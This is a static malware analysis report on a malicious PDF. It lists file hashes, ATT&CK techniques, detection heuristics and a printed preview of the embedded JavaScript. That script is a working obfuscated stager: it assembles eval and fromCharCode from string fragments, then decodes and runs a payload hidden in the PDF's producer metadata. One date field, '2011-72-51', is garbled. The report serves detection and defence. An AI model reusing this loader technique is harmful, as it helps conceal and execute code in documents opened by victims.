Malicious PDF — malware analysis report

Static analysis result for SHA-256 c027522663ead17a…

MALICIOUS

PDF

23.0 KB Created: 2011-72-51 03:25:00 First seen: 2012-07-12
MD5: 6943371a25e046d7f959fd2786dda78b SHA-1: c16e535057485972ad220b5a8b83cd91f59e1cfa SHA-256: c027522663ead17a783ebe52d3e96c32f7184b1f4ed0816e3cd5a46d6799721a
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell T1204.002 Malicious File Execution: Malicious JavaScript

The PDF file contains embedded JavaScript that utilizes an eval() call, indicating obfuscated code execution. This JavaScript is likely intended to download and execute a second-stage payload. The heuristics suggest script obfuscation and the presence of a suspicious JavaScript object. The exact intent of the script is difficult to determine due to obfuscation, but it is clearly designed to run arbitrary code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    RyrYfe=eval(GupeiweHyluhic+'l');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x5882 683 bytes
SHA-256: 93ea87859115578aa837bd825d33cce7f4e598c2f7fb57188f7f4331d0718166
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var BivUg='';
GipmyqosugirEgyz = new Date(2010,11,3,2);
var GupeiweHyluhic = function(){return {e:'eva'}}().e;
RyrYfe=eval(GupeiweHyluhic+'l');
MairOqedyhorotiwir = 'thi'+GipmyqosugirEgyz.getHours()+'ducer';
TacoVsa=RyrYfe(MairOqedyhorotiwir.replace(2,'s.pro'));
MywymimynezIsig = TacoVsa.split('s');
var LosOn = '';
g = GipmyqosugirEgyz.getHours();
var MkEtyzu = 'fro'+GipmyqosugirEgyz.getHours()+'arCode';
MkEtyzu=MkEtyzu.replace(2,'mCh');
BuuikVubzudynugok=String[MkEtyzu];
for (CobokIraf = 0; CobokIraf < MywymimynezIsig.length; CobokIraf++) {
	XardalepUrujit = RyrYfe(MywymimynezIsig[CobokIraf]);
	LosOn += BuuikVubzudynugok(XardalepUrujit);
}
RyrYfe(LosOn);

Open this report in the interactive analyzer, or submit your own file for analysis.